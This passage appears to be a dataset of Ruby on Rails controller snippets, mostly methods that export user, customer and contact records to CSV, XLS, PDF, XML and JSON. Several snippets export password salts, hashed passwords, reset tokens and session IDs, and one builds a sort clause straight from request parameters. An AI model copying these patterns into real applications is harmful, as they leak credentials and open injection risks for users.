send_data(@user.to_xml, :filename => \"#{f_name}.xml\", :disposition => 'attachment', :type => 'text/xml;charset=utf-8')}\r\n format.json {\r\n send_data(@user.to_json, :filename => \"#{f_name}.json\", :disposition => 'attachment', :type => 'text/json;charset=utf-8')}\r\n format.xls {\r\n book = Spreadsheet::Workbook.new\r\n sheet = book.create_worksheet(:name => \"users\")\r\n sheet.row(0).concat([\"Login\", \"First Name\", \"Last Name\", \"Email\", \"Telephone\", \"Language\", \"Active\", \"Salt\", \"User Accesses\", \"Profiles\"])\r\n sheet.row(1).replace([@user.login, @user.first_name, @user.last_name, @user.email, @user.telephone, @user.language, @user.active, @user.salt, @user.user_accesses.map(&:disp_name).to_sentence, @user.profiles.map(&:disp_name).to_sentence])\r\n fname = \"users.xls\"\r\n tmp = Tempfile.new(fname)\r\n book.write(tmp.path)\r\n tmp.close\r\n send_file(tmp.path, :filename => fname)\r\n }\r\n format.csv { row = @user\r\n @csv_string = FasterCSV.generate({:encoding => 'UTF-8', :col_sep => (SystemSetting['csv_export_separator'] || ';')}) do |csv|\r\n cols = []\r\n User::FIELDS.each{|k,v| cols << k if [:string, :text, :integer, :float, :date, :time, :datetime, :timestamp, :ho_assoc, :bt_assoc].include? v}\r\n cols.reject!{|c| [:customers, :accesses, :dev_feedbacks, :file_imports].include?(c) }\r\n csv << cols.map{|c|\r\n if [:ho_assoc, :bt_assoc].include?(User::FIELDS[c])\r\n v = row.send(c) ; v ? v.disp_name : nil\r\n else\r\n row.send(c)\r\n end\r\n }\r\n end\r\n @export_encoding ||= SystemSetting['csv_export_encoding'] || 'UTF-16LE'\r\n conv = Iconv.new(@export_encoding, 'UTF-8')\r\n send_data(conv.iconv(@csv_string), :filename => \"#{f_name}.csv\", :disposition => 'attachment', :type => \"text/csv;charset=#{@export_encoding.downcase}\")\r\n return\r\n }\r\n end\r\n else\r\n pagin_opts[:page] = 1\r\n pagin_opts[:per_page] = User.count+1\r\n @users = User.paginate(pagin_opts)\r\n respond_to do |format|\r\n format.html {\r\n @no_menubar = true\r\n @no_links = true\r\n data = render_to_string(:template => '/users/list.html.erb', :layout => 'minimal').gsub(/\\ssrc=\\\"\\//, %Q[ src=\"#{request.protocol}#{request.host_with_port}/])\r\n send_data(data, :filename => \"users.html\", :disposition => 'attachment', :type => 'text/html;charset=utf-8') }\r\n format.doc {\r\n @no_menubar = true\r\n @no_links = true\r\n data = render_to_string(:template => '/users/list.html.erb', :layout => 'minimal').gsub(/\\ssrc=\\\"\\//, %Q[ src=\"#{request.protocol}#{request.host_with_port}/])\r\n send_data(data, :filename => \"users.doc\", :disposition => 'attachment', :type => 'application/msword;charset=utf-8') }\r\n format.pdf {\r\n @pdf = true\r\n @debug_pdf = params[:debug_pdf]\r\n params[:format] = 'html'\r\n html = render_to_string(:template => '/users/list.html.erb', :layout => 'pdf')\r\n html.gsub!(/\\/images\\//, Rails.root.join('public', 'images/')) if !params[:debug_pdf]\r\n render(:text => html, :layout => 'pdf') and return if params[:debug_pdf]\r\n kit = PDFKit.new(html, :encoding => 'UTF-8')\r\n kit.stylesheets << Rails.root.join('public', 'stylesheets', 'pdf.css')\r\n pdf = kit.to_pdf\r\n send_data(pdf, :filename => \"users.pdf\") unless params[:debug_pdf] || pdf.blank?\r\n\r\n # send_data(render_to_string(:layout => false, :action => :list), :filename => \"users.pdf\", :disposition => 'attachment', :type => 'application/pdf;charset=utf-8')\r\n\r\n }\r\n format.xml {\r\n send_data(@users.to_xml, :filename => ('users.xml'), :disposition => 'attachment', :type => 'text/xml;charset=utf-8')}\r\n format.xls {\r\n book = Spreadsheet::Workbook.new\r\n sheet = book.create_worksheet(:name => \"users\")\r\n sheet.row(0).concat([\"Login\", \"First Name\", \"Last Name\", \"Email\", \"Telephone\", \"Language\", \"Active\", \"Salt\", \"User Accesses\", \"Profiles\"])\r\n @users.each_with_index do |row,i|\r\n sheet.row(i+1).replace([row.login, row.first_name, row.last_name, row.email, row.telephone, row.language, row.active, row.salt, row.user_accesses.map(&:disp_name).to_sentence, row.profiles.map(&:disp_name).to_sentence])\r\n end\r\n fname = \"users.xls\"\r\n tmp = Tempfile.new(fname)\r\n book.write(tmp.path)\r\n tmp.close\r\n send_file(tmp.path, :filename => fname)\r\n }\r\n format.csv {\r\n @csv_string = FasterCSV.generate({:encoding => 'UTF-8', :col_sep => (SystemSetting['csv_export_separator'] || ';')}) do |csv|\r\n cols = []\r\n User::FIELDS.each{|k,v| cols << k if [:string, :text, :integer, :float, :date, :time, :datetime, :timestamp, :ho_assoc, :bt_assoc].include? v}\r\n cols.reject!{|c| [:customers, :accesses, :dev_feedbacks, :file_imports].include?(c) }\r\n csv << cols.map{|c| _(c.titleize)}\r\n @users.map{|row|\r\n csv << cols.map {|c|\r\n if [:ho_assoc, :bt_assoc].include?(User::FIELDS[c])\r\n v = row.send(c) ; v ? v.disp_name : nil\r\n else\r\n row.send(c)\r\n end\r\n }\r\n }\r\n end\r\n @export_encoding ||= SystemSetting['csv_export_encoding'] || 'UTF-16LE'\r\n conv = Iconv.new(@export_encoding, 'UTF-8')\r\n send_data(conv.iconv(@csv_string), :filename => \"users.csv\", :disposition => 'attachment', :type => \"text/csv;charset=#{@export_encoding.downcase}\")\r\n }\r\n end\r\n end\r\n end", "def index\n users = get_collection(visible_users) || return\n\n respond_to do |format|\n format.xml { render xml: users.to_xml(only: DEFAULT_FIELDS, root: :users, skip_types: true) }\n format.json { render json: users.to_json(only: DEFAULT_FIELDS) }\n end\n end", "def index\n @vouchers = current_user.companies.find(params[:company_id]).fiscal_years.find(params[:fiscal_year_id]).vouchers\n end", "def index\n\t\t# current_user.cdg_id\n\t\t@@users = SoapConnection::ChoferUsers.users( (1 rescue 1) ).compact rescue []\n\t\t@users = @@users\n\tend", "def show\n\t\t#@data = CSV.generate do |csv|\n\t\t#\t(1..2000).each_with_index do |user, index|\n\t\t#\t\tcsv << [\"MA_user\" + \"#{index+1}\" + \"@cb.com\", \"12345678\"]\n\t\t#\tend\n\t\t#end\n\t\t#send_data(@data, :type => 'text/csv; charset=utf-8; header=present', :filename => \"MA_user_2000.csv\")\n end", "def index\n @user = current_user.id\n @users = User.order(sort_column + \" \" + sort_direction)\n respond_to do |format|\n format.html\n format.csv { render text: @users.to_csv }\n format.pdf do\n pdf = ReportPdf.new(@users)\n send_data pdf.render, filename: 'Report-'+ Time.now.strftime(\"%d/%m/%Y\") +'.pdf', type: 'application/pdf'\n end\n end\n end", "def index\n @matches = cur_user.matches\n\n respond_to do |format|\n format.html\n format.csv { send_data @matches.to_csv }\n end\n end", "def index\n @mobiles = Customer.pluck(:mobile)\n @agents = User.where(\"role = ?\", 2).pluck(:fname, :id)\n @franchises = User.where(\"role = ?\", 1).pluck(:fname, :id)\n @customers_csv = (policy_scope Customer).order(\"id desc\")\n @customers = (policy_scope Customer).order(\"id desc\").page params[:page]\n authorize Customer.new, :index?\n \n respond_to do |format|\n format.html\n format.csv { send_data @customers_csv.as_csv }\n end\n\n\n end", "def generate\n @student_users = StudentUser.all\n respond_to do |format|\n format.html\n format.csv { send_data @student_users.to_csv }\n format.xls { send_data @student_users.to_csv(col_sep: \"\\t\") }\n end\n end", "def invitable_users\n @title = \"Invitar usuario\"\n @invitable_users = GetInvitableUsers.call(@previa_group)\n end", "def personnel_data\n users = User.all.compact.uniq\n data = generate_csv(users)\n render :template => \"shared/csv_data\", :locals => {:data => data}, :layout => false\n end", "def index_user\n\t\t@user_convos = Conversation.involving_user(params[:user_id])\n\t\trender_list_of_convos(@user_convos)\n\tend", "def export\n @transactions = Transaction.find_all_by_user_id(current_user.id)\n csv = \"\"\n i = 0\n @transactions.each do |trans|\n if (i==0)\n csv += trans.to_csv(true)\n else\n csv += trans.to_csv(false)\n end\n i += 1\n end\n\n respond_to do |format|\n format.csv { send_data csv }\n end\n end", "def main()\n request_url = \"#{$canvas_url}/api/v1/users/#{$canvas_user_id}/page_views?per_page=100&start_time=#{$start_time}&end_time=#{$end_time}\"\n method = \"get\"\n options = {}\n data = canvasApiRequest(method,request_url,options)\n compiledHash = []\n data.each do |hash|\n hashData = flattenHash(hash)\n compiledHash.push(hashData)\n end\n outputToCSV(compiledHash)\nend", "def index\n log_request(\"Show All Users\")\n\n @valid = ValidUser.all\n @users = User.all\n respond_to do |format|\n format.html { @valid }\n format.json { render :json => @users.to_json }\n format.csv { send_data @users.to_csv }\n end\n end", "def export_as_json\n @user = T.must(current_user)\n authorize @user, policy_class: SettingsPolicy\n\n @games = GamePurchase.where(user_id: @user.id).includes(:game, :platforms, :stores)\n\n respond_to do |format|\n format.json do\n export_data = {\n user: {\n id: @user.id,\n username: @user.username\n },\n games: @games.as_json(include: [:game, :platforms, :stores])\n }\n send_data JSON.pretty_generate(export_data), disposition: :json, filename: 'vglist.json'\n end\n end\n end", "def index\n @v2_users = V2User.all\n end", "def multiuser_enable_customer_support(options)\n users=filter_users(options[:filter])\n users.each do |u|\n visit MULTIUSER_URL\n choose u[:id]\n click_button \"Edit\"\n check \"priv_permission_contact\"\n File.open(\"/tmp/paypal1.html\", \"w\") { |f| f.write response_body }\n click_button \"Save\"\n File.open(\"/tmp/paypal2.html\", \"w\") { |f| f.write response_body }\n sleep 0.5\n click_button \"Accept\"\n File.open(\"/tmp/paypal3.html\", \"w\") { |f| f.write response_body }\n end\n end", "def users\n \n end", "def show\n respond_to do |format|\n format.html\n format.json\n format.csv {\n send_data(to_csv(@user), filename: @user.name + '_history.csv')\n }\n end\n end", "def select_users\n Log.add_info(request, params.inspect)\n\n render(:partial => 'select_users', :layout => false)\n end", "def index\n @veterinary_users = VeterinaryUser.all\n end", "def set_user_export_file\n @user_export_file = UserExportFile.find(params[:id])\n authorize @user_export_file\n end", "def export\n\n end", "def printout\n\toutput = File.new(\"utilizatori.txt\", \"w\")\n\t$users_profil.each do |k,v|\n\t\toutput.puts k + \" \" + v[0].to_s + \" \" + v[1].to_s + \" \" + v[2].to_s\n\tend\n\toutput.close\nend", "def export\n\n end", "def index\n setup_search_filters(:customers, :page_size => ::AppConfig.pagination.customers.page_size)\n @customers = Customer.filtered_customers(current_user.customers, @filters)\n @all_customers = current_user.customers\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @customers.to_xml }\n format.csv do\n stream_csv do |csv|\n csv << [\"customer_name\", \"customer_address1\", \"customer_address2\", \"customer_city\", \"customer_province_state\", \"customer_postalcode_zip\", \"customer_country\", \"customer_website\", \"customer_phone\", \"customer_language\", \"customer_fax\", \"contact_first_name\", \"contact_last_name\", \"contact_email\", \"contact_phone\"]\n @all_customers.each do |c|\n customer = [c.name, c.address1, c.address2, c.city, c.province_state, c.postalcode_zip, c.country, c.website, c.phone, c.fax]\n c.contacts.each do |contact|\n csv << customer + [contact.first_name, contact.last_name, contact.email]\n end\n end\n end\n end\n end\n end", "def index\n @users = User.all\n respond_to do |format|\n format.html\n format.pdf do\n pdf = PDF::Writer.new\n @users.each do |user|\n pdf.text user.name\n end\n send_data pdf.render, :filename => 'products.pdf', :type => 'application/pdf', :disposition => 'inline'\n end\n end\n end", "def export\n @fans = Fan.active.find(:all)\n\n csv_string = FasterCSV.generate do |csv|\n csv << [\"Name\", \"E-mail\", \"Notes\", \"Section 1 - Description\", \"Section 1 - Email\", \"Section 1 - IM\", \"Section 1 - Phone\", \"Section 1 - Mobile\", \"Section 1 - Pager\", \"Section 1 - Fax\", \"Section 1 - Company\", \"Section 1 - Title\", \"Section 1 - Other\", \"Section 1 - Address\"]\n\n for fan in @fans\n csv << [fan.name,\n fan.email,\n \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\",\n fan.address \n ]\n end\n end\n\n # filename = @list.name.downcase.gsub(/[^0-9a-z]/, \"_\") + \".csv\"\n filename = \"fans.csv\"\n send_data(csv_string,\n :type => 'text/csv; charset=utf-8; header=present',\n :filename => filename)\n end", "def index\n @virtual_users = VirtualUser.all\n end", "def perform(user)\n raise 'Attempted to export a non-user object' unless user.is_a?(User)\n\n # Kill any already attached file\n user.export_archive.purge if user.export_archive.attached?\n\n # All of this goes into a ZIP file\n ios = ::Zip::OutputStream.write_buffer(StringIO.new) do |zos|\n # Every user column, straight off the schema\n user_data = {\n name: user.name,\n email: user.email,\n created_at: user.created_at.to_s,\n updated_at: user.updated_at.to_s,\n language: user.language,\n timezone: user.timezone,\n encrypted_password: user.encrypted_password,\n reset_password_token: user.reset_password_token,\n reset_password_sent_at: user.reset_password_sent_at.to_s,\n remember_created_at: user.remember_created_at.to_s,\n sign_in_count: user.sign_in_count.to_s,\n current_sign_in_at: user.current_sign_in_at.to_s,\n last_sign_in_at: user.last_sign_in_at.to_s,\n current_sign_in_ip: user.current_sign_in_ip,\n last_sign_in_ip: user.last_sign_in_ip,\n workflow_active: user.workflow_active,\n workflow_class: user.workflow_class,\n workflow_datasets: user.workflow_datasets.to_s\n }\n\n # Serialize it to the ZIP\n zos.put_next_entry('user.json')\n zos.print user_data.to_json\n\n # Libraries\n libraries = []\n user.libraries.each do |l|\n library = {\n name: l.name,\n url: l.url,\n created_at: l.created_at.to_s,\n updated_at: l.updated_at.to_s\n }\n\n libraries << library\n end\n\n zos.put_next_entry('libraries.json')\n zos.print libraries.to_json\n\n # Datasets\n datasets = []\n files_to_save = {}\n\n user.datasets.each do |d|\n dataset = {\n name: d.name,\n created_at: d.created_at.to_s,\n updated_at: d.updated_at.to_s,\n document_count: d.document_count.to_s,\n queries: [],\n tasks: []\n }\n\n d.queries.each do |q|\n query = {\n q: q.q,\n fq: q.fq,\n def_type: q.def_type,\n created_at: q.created_at.to_s,\n updated_at: q.updated_at.to_s\n }\n\n dataset[:queries] << query\n end\n\n d.tasks.each do |t|\n task = {\n name: t.name,\n finished_at: t.finished_at.to_s,\n created_at: t.created_at.to_s,\n updated_at: t.updated_at.to_s,\n failed: t.failed,\n job_type: t.job_type,\n progress: t.progress,\n progress_message: t.progress_message,\n last_progress: t.last_progress.to_s,\n job_id: t.job_id,\n files: []\n }\n\n t.files.each do |f|\n unless f.result&.attached?\n task[:files] << '<empty file record>'\n next\n end\n\n filename = \"#{t.to_param}_#{f.to_param}_#{f.result.filename}\"\n files_to_save[filename] = f.result\n task[:files] << filename\n end\n\n dataset[:tasks] << task\n end\n\n datasets << dataset\n end\n\n zos.put_next_entry('datasets.json')\n zos.print datasets.to_json\n\n # And all of the files\n files_to_save.each do |filename, file|\n zos.put_next_entry(filename)\n zos.write(file.download)\n end\n end\n\n # Save it into the user object, and they'll be able to download it\n ios.rewind\n\n blob = ActiveStorage::Blob.create_after_upload!(\n io: ios,\n filename: 'export.zip',\n content_type: 'application/zip'\n )\n\n user.export_archive.attach(blob)\n user.save\n end", "def users_index\n\t\t@view.users_list($users)\n\t\t@view.second_view(@current_user, @current_user.actions)\n\tend", "def index\n @filter = params[:filter]\n case @filter\n when \"Student\"\n @users = Student.find(:all)\n when \"Faculty\"\n @users = Faculty.find(:all)\n when \"Company\"\n @users = Company.find(:all)\n else\n @users = User.find(:all)\n end\n\n respond_to do |format|\n format.html # index.rhtml\n format.js\n format.xml { render :xml => @users.to_xml }\n format.csv do\n send_data CsvSystem.render(@users), :filename => \"users.csv\"\n end\n end\n end", "def import_user_data\n @page_title = _('Import_user_data')\n @page_icon = 'excel.png'\n @users = User.find(:all, :conditions => \"temporary_id >= 0\")\n @devices = Device.find(:all, :conditions => \"temporary_id >= 0 AND name not like 'mor_server_%'\")\n end", "def index\n @memberships = @website.memberships.includes(:user).paginate(page: params[:page], per_page: 30)\n \n respond_to do |format|\n format.html\n format.json\n format.csv { send_data @memberships.to_csv(current_user.id) }\n format.js\n end\n end", "def update_user_data\n $users.each {|user| \n if $current_user[:username] == user[0]\n user[2] = $current_user[:balance]\n user[3] = $current_user[:streak]\n CSV.open(\"user_data.csv\", \"w\") do |csv|\n $users.each {|x| csv << x}\n end\n end\n }\nend", "def collectors\n data = User.\n all.\n order(:name).\n map{|u| {id: u.id, name: u.name}}\n\n render_ok users: data\n end", "def list\r\n\r\n @restricted_fields = []\r\n pagin_opts = {:include => [:customers,:profiles]}\r\n pagin_opts[:page]\t = params[:page].to_i > 0 ? params[:page].to_i : 1\r\n pagin_opts[:per_page]\t = (params[:per_page] || cookies[:users_per_page] || 50).to_i\r\n pagin_opts[:order]\t = @default_order if @default_order\r\n pagin_opts[:order]\t||= 'users.' +params[:sort_by] if !params[:sort_by].blank?\r\n pagin_opts[:conditions] ||= @default_filter if @default_filter\r\n pagin_opts[:conditions] ||= params[:conditions] if params[:conditions].is_a?(Hash)\r\n pagin_opts[:joins]\t||= @joins_fields || []\r\n\r\n @users = User.paginate(pagin_opts)\r\n render(:xml => @users.to_xml(:dasherize => false, :only => [:id,:login,:first_name,:last_name,:email,:telephone,:language,:active,:hashed_password,:salt,:last_login,:last_session_id], :methods => [:customers_human_display,:password,:user_accesses_human_display,:accesses_human_display,:profiles_human_display,:dev_feedbacks_human_display,:file_imports_human_display])) and return if params[:format] == 'xml'\r\n render(:json => @users) and return if params[:format] == 'json'\r\n render(:pdf => @users, :action => :list) and return if params[:format] == 'pdf'\r\n if !params[:group_by].blank? && [\"login\", \"first_name\", \"last_name\", \"email\", \"telephone\", \"language\", \"active\", \"password\", \"hashed_password\", \"salt\", \"last_login\", \"last_session_id\"].include?(params[:group_by])\r\n @users_groups = @users.inject({}) { |acc,elt|\r\n crit = nil\r\n if [].include?(params[:group_by])\r\n crit = elt.send(params[:group_by]) ? elt.send(params[:group_by]).disp_name : nil\r\n else\r\n crit = elt.attributes[params[:group_by]]\r\n end\r\n acc[crit] ||= []\r\n acc[crit] << elt\r\n acc\r\n }\r\n end\r\n end", "def index\n @collaborators = @schema.user_schemas.map do |user_schema|\n {\n id: user_schema.user.id,\n username: user_schema.user.username,\n email: user_schema.user.email,\n image: user_schema.user.image,\n access_mode: user_schema.access_mode_integer\n }\n end\n end", "def export_csv\n # Find all Setup with the stored restrictions\n sorting :default => @@default_sort\n collection = @@model.find :all, :order => @sort, :conditions => session[:conditions]\n # Creation of the file\n file_name = \"#{@@param_name}_export_\" + current_user.id.to_s + \".csv\"\n \n csv_string = CSV.generate({:col_sep => ';', :encoding => \"ISO-8859-15\" }) do |csv|\n csv << @@name_print.map{|n| n.trn}\n collection.each do |element|\n csv << @@field_print.map{|f| element[f]}\n end\n end\n send_data Iconv.conv('iso-8859-1//IGNORE', 'utf-8', csv_string), :filename => file_name, :disposition => 'attachment', :type => 'text/csv; charset=iso-8859-1; header=present'\n end", "def index\r\n @color_page_accept_users = ColorPageAcceptUser.all\r\n end", "def index\n @user_fables = UserFable.all\n end", "def reporthelp_user_selection( form, users )\n if ( users.empty? )\n return ''\n else\n return apphelp_collection_select(\n form,\n 'reportable_user_ids',\n users,\n :id,\n :name\n )\n end\n end", "def index\n @users = User.find(:all, :order => 'surname asc')\n respond_to do |format|\n format.html # index.html.haml\n format.xls # Excel Export\n format.xml { render :xml => @users }\n end\n end", "def export_csv\n # Find all Setup with the stored restrictions\n sorting :default => 'es_setups.path, es_setups.name'\n setups = EsSetup.find :all, :order => @sort, :conditions => session[:conditions_setup]\n # Creation of the file\n file_name = \"setups_export_\" + current_user.id.to_s + \".csv\"\n \n csv_string = CSV.generate({:col_sep => ';', :encoding => \"ISO-8859-15\" }) do |csv|\n csv << [\"Chemin\".trn,\"Nom\".trn,\"Valeur\".trn,\"Type\".trn, \"Lecture seule\".trn]\n setups.each do |t|\n csv << [t.path,t.name,t.value,t.type_data,(t.read_only=='Y' ? 'V' : '')]\n end\n end\n send_data Iconv.conv('iso-8859-1//IGNORE', 'utf-8', csv_string), :filename => file_name, :disposition => 'attachment', :type => 'text/csv; charset=iso-8859-1; header=present'\n end", "def index\n @csfs = current_user.csfs\n end", "def index\n @vegetable_records = VegetableRecord.all\n @users = User.all\n @user = current_user\n end", "def index\n @custom_vitals = CustomVital.where(:user_id=>current_user.id).all\n end", "def download_competitor_list_ssv\n exporter = Exporters::Competition::Simple.new(@competition)\n csv_string = CSV.generate(col_sep: \";\") do |csv|\n csv << exporter.headers\n exporter.rows.each do |row|\n csv << row\n end\n end\n\n filename = \"competitors_#{@competition.to_s.parameterize}.txt\"\n send_data(csv_string,\n type: 'text/csv; charset=utf-8; header=present',\n filename: filename)\n end", "def download_csv\n case current_user.role.name\n when 'Edutor Admin'\n usages = Usage\n when 'Institute Admin'\n usages = current_user.usages\n when 'Center Representative'\n usages = current_user.usages\n when 'Teacher'\n class_contents = current_user.class_contents\n section_students = current_user.sections.map{|section| section.students.select('id')}.flatten\n student_group_students = current_user.sections.map{|section| section.student_groups.select('id')}.flatten\n total_students = (section_students + student_group_students).uniq\n usages_ids = class_contents.map(&:uri).map{|uri|\n Usage.where('uri like ?',\"%#{uri}%\").where(:user_id=>total_students).map(&:id)\n }\n usages = Usage.where(:id=>usages_ids)\n end\n filename =\"usages_#{Date.today.strftime('%d%b%y')}\"\n csv_data = FasterCSV.generate do |csv|\n csv << Usage.csv_header\n usages.each do |c|\n csv << c.to_csv\n end\n end\n send_data csv_data, :type => 'text/csv; charset=iso-8859-1; header=present', :disposition => \"attachment; filename=#{filename}.csv\"\n end", "def index\n @supported_users = current_user.inverse_accountability_partners\n end", "def export_as_csv\n contacts = current_mpd_user.mpd_contacts\n csv_setup\n result = FasterCSV.generate do |csv|\n # Write Column Headers\n csv << [\"Full Name\", \"Salutation\", \"Address 1\", \"Address 2\", \"City\", \"State\", \"Zip\", \"Phone\", \"Email Address\", \"Gift Amount\", \"Letter Sent?\", \"Call Made?\", \"Thank-you Sent?\", \"Notes\"]\n \n # Write data rows\n contacts.each do |c|\n csv << [c.full_name, c.salutation, c.address_1, c.address_2, c.city, c.state, c.zip, number_to_phone(c.phone, :area_code => true), c.email_address, number_to_currency(number_with_delimiter(c.gift_amount(current_event.id))), c.letter_sent(current_event.id), c.contacted(current_event.id), c.thankyou_sent(current_event.id), c.notes]\n end\n end\n render :text => result\n end", "def index\n if current_user.admin?\n if params[:user_id]\n @students = Student.search(params[:user_id])\n end\n @students = Student.search(params[:user_id] )\n respond_to do |format|\n format.html\n format.csv { send_data @students.to_csv }\n format.xls #{ send_data @products.to_csv(col_sep: \"\\t\") }\n end\n else\n @students = Student.search(params[:search]).where(user_id: current_user.id)\n render :user_index\n end\n end", "def students\n @filter = params[:filter]\n case @filter\n when \"bwlvwl\"\n @users = Student.find(:all, :conditions => {:wi_ag_member => false})\n when \"wi\"\n @users = Student.find(:all, :conditions => {:wi_ag_member => true})\n when \"current\"\n @users = Student.find(:all, :conditions => {:opt_out_date => nil})\n when \"former\"\n @users = Student.find(:all, :conditions => \"opt_out_date <= NOW()\")\n else\n @users = Student.find(:all)\n end\n \n respond_to do |format|\n format.html # students.rhtml\n format.js\n format.xml { render :xml => @users.to_xml }\n format.csv do \n UsersController::CSV::Writer.generate(csv_string = \"\", ',') do |csv|\n csv << [\"login\",\"email\"]\n @users.each { |user| csv << [user.login, user.email] }\n end\n send_data csv_string, :filename => \"fachschaftler.csv\"\n end\n end\n end", "def export\n #@contacts = Contact.all\n send_data Contact.to_csv(@contacts),\n :filename => 'addressbook.csv',\n :type => 'text/csv; charset=utf-8',\n :disposition => 'attachment'\n end", "def index\n # @users = User.all\n @users = User.paginate(page: params[:page], :per_page => 10)\n # @users = User.order(name: :desc).paginate(:page => params[:page], :per_page => 10).search(params[:search])\n respond_to do |format|\n format.html\n format.csv { send_data @users.to_csv }\n format.xls # { send_to @users.to_csv(col_sep: \"\\t\") }\n format.pdf do\n pdf = UsersPdf.new(@users)\n\t send_data pdf.render\n # pdf = Prawn::Document.new\n # pdf.text @users.count.to_s\n # send_data pdf.render\n # pdf = UsersPdf.new(@users)\n # pdf = UserPdf.new(@users, view_context)\n # send_data pdf.render, filename: \"users_#{Time.now}.pdf\",\n # type: \"application/pdf\",\n # disposition: \"inline\"\n end\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xlsx\n end\n end", "def get_harvest_users(harvest_webapp, dbg = 0)\n\n member_page = \"/team\"\n pt = get_config(\"COMMON\", \"CSVPath\")\n um = get_config(\"Harvest\", \"MUsers\")\n\n site = harvest_webapp\n\n begin\n \n # move to User list\n site.Go(member_page)\n \n # save user list to csv\n data = site.RetrieveList(\"li.manage-list-item\", method(:proc_split_list_to_array))\n\n p data if dbg\n \n # append email and dept_code\n data.each do |member|\n if (member[0] != \"Admin\")\n site.Go(\"/people/\" + member[1] + \"/edit#profile_base\")\n member.push(site.GetItem(\"#user_email\").attribute(\"value\").value.strip);\n member.push(site.GetItem(\"#user_department\").attribute(\"value\").value.strip);\n else\n member.push(\"\");\n member.push(\"\");\n end\n end\n \n # sort by dept_code\n sorted = data.sort { |a, b|\n a[3] <=> b[3]\n }\n \n # flush to file\n flush_to_csv(sorted, pt + um)\n \n p (pt + um) if dbg\n \n rescue => e\n\n p e\n p e.backtrace\n \n end\n \nend", "def index\n @userfiles = Userfile.all\n end", "def index\n @lists = current_user.lists\n respond_to do |format|\n format.html\n # Configuration for the pdf and the csv\n format.pdf { render template: 'lists/pdf', pdf: 'pdf'}\n format.csv { send_data @lists.to_csv, filename: \"csv-#{Date.today}.csv\" }\n end\n end", "def generate_csv\n @project = Project.find(params[:id])\n \n content_type = if request.user_agent =~ /windows/i\n ' application/vnd.ms-excel '\n else\n ' text/csv '\n end\n \n project_net = @project.find_all_connections(friend = true, follower = false) \n \n CSV::Writer.generate(output = \"\") do |csv|\n csv << [\"DL n=\" + @project.persons.count.to_s ]\n csv << [\"format = edgelist1\"]\n csv << [\"labels embedded:\"]\n csv << [\"data:\"]\n project_net.each do |entry|\n csv << [entry[0], entry[1], \"1\"]\n end\n @project.persons.each do |person|\n csv << [person.username]\n end\n end\n send_data(output,\n :type => content_type,\n :filename => @project.name.to_s + \"_FF_SNA.csv\")\n end", "def index\n # Find all participants that match search criteria.\n @participants = Participant.search(params[:search])\n # Export all member's information to a csv file.\n @exports = Participant.all\n respond_to do |format|\n format.html\n format.csv { send_data @exports.to_csv }\n end\n end", "def download_ta_list\n #find all the users\n tas = Ta.order(:user_name)\n case params[:format]\n when 'csv'\n output = User.generate_csv_list(tas)\n format = 'text/csv'\n when 'xml'\n output = tas.to_xml\n format = 'text/xml'\n else\n # Raise exception?\n output = tas.to_xml\n format = 'text/xml'\n end\n send_data(output, type: format, disposition: 'inline')\n end", "def show\n respond_to do |format|\n format.html\n format.csv { send_data @cycle.to_csv, filename: \"users-#{Date.today}.csv\" }\n end\n end", "def index\n @gov_docs = current_user.gov_docs\n end", "def index\n respond_to do |format|\n format.html # index.html.haml\n format.xml { render :xml => @people }\n format.js { render :partial => 'search_results', :layout => false, :content_type => 'text/html' }\n format.json { render :json => @people }\n format.vcf { send_data @people.map(&:to_vcard).map(&:to_s).join(\"\\n\"), :filename => 'directory.vcf' }\n end\n end", "def index\n @fiados = current_user.fiados\n end", "def index\n @user_fields = UserField.all\n end", "def index\n @user_fields = UserField.all\n end", "def show\n @customer = Customer.find(params[:id])\n @tickets = Ticket.return_tickets\n @mytickets = Ticket.find_all_by_customer_id(params['id'])\n @myinvoices = Invoice.find_all_by_customer_id(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer }\n\t format.csv do\n @customersdump = Customer.find(:all, :order => \"id DESC\")\n @outfile = \"customers_dump_\" + Time.now.strftime(\"%m-%d-%Y\") + \".csv\"\n \n csv_data = FasterCSV.generate do |csv|\n csv << [\n \"ID\",\n \"FirstName\",\n \"LastName\",\n \"Email\",\n \"Address\",\n \"City\",\n \"State\",\n \"Zip\",\n \"Phone\",\n \"Mobile\",\n ]\n @customersdump.each do |customer|\n csv << [\n customer.firstname,\n customer.lastname,\n customer.email,\n customer.address,\n customer.city,\n customer.state,\n customer.zip,\n customer.phone,\n customer.mobile,\n ]\n end\n end\n\n send_data csv_data,\n :type => 'text/csv; charset=iso-8859-1; header=present',\n :disposition => \"attachment; filename=#{@outfile}\"\t\t \n flash[:notice] = \"Export complete!\"\n end\n\t \n end\n end", "def user_selector(users, selected_user)\n user_chooser_html = \"<label>Select team:</label>&nbsp&nbsp\n <select class='input-large' id='user_chooser'>\"\n users.each { |user|\n user_chooser_html << \"<option value=\" + user.id.to_s\n user_chooser_html << \" selected\" if user.id == selected_user.id\n user_chooser_html << \">\" + user.full_name + \"</option>\"\n }\n user_chooser_html << \"</select>\"\n return user_chooser_html.html_safe\n end", "def view_all_users\n # !! get all user so can interact after viewing them? all_users\n # User.select(:username).each_with_index {|user, index| puts \"#{index+1}. #{user.username}\"}\n #??????\n User.select(:username).each {|user| puts user.username}\n end", "def export_all\n participant_ids = Session.all.map(&:presenter_ids)\n render body: Participant.find(participant_ids).map { |presenter| \"\\\"#{presenter.name}\\\" <#{presenter.email}>\" }.join(\",\\n\"), content_type: Mime[:text]\n end", "def to_filename\n \"users.csv\"\n end", "def index\n\t\tadd_breadcrumb \"Perfil\", :users_path\n\t\t@user = current_user\n\n\t\t#Consultar por las actividades de servicio en estado de licitación que posee cada usuario.\n\t\tif @user.category == 2\n\t\t\t@offerings = Offering.where(user: @user,status: 1)\n\t\t\t@experiences = Experience.where(professor_id: @user.id)\n\t\telsif @user.category == 4\n\t\t\t@requests = Request.where(user: @user,status: 1)\n\t\t\t@experiences = Experience.where(partner_id: @user.id)\n\t\telsif @user.category == 3\n\t\t\t@offerings = Offering.where(broker_id: @user.id,status: 1)\n\t\t\t@requests = Request.where(broker_id: @user.id,status: 1)\n\t\t\t@experiences = Experience.where(broker_id: @user.id)\n\t\tend\n\tend", "def index\n query = Member.all.where(:admin_uuid => session[:user_uuid]).order_by(sort_column + ' ' + sort_direction)\n\n # Reset filters.\n if params[:commit] == 'Reset 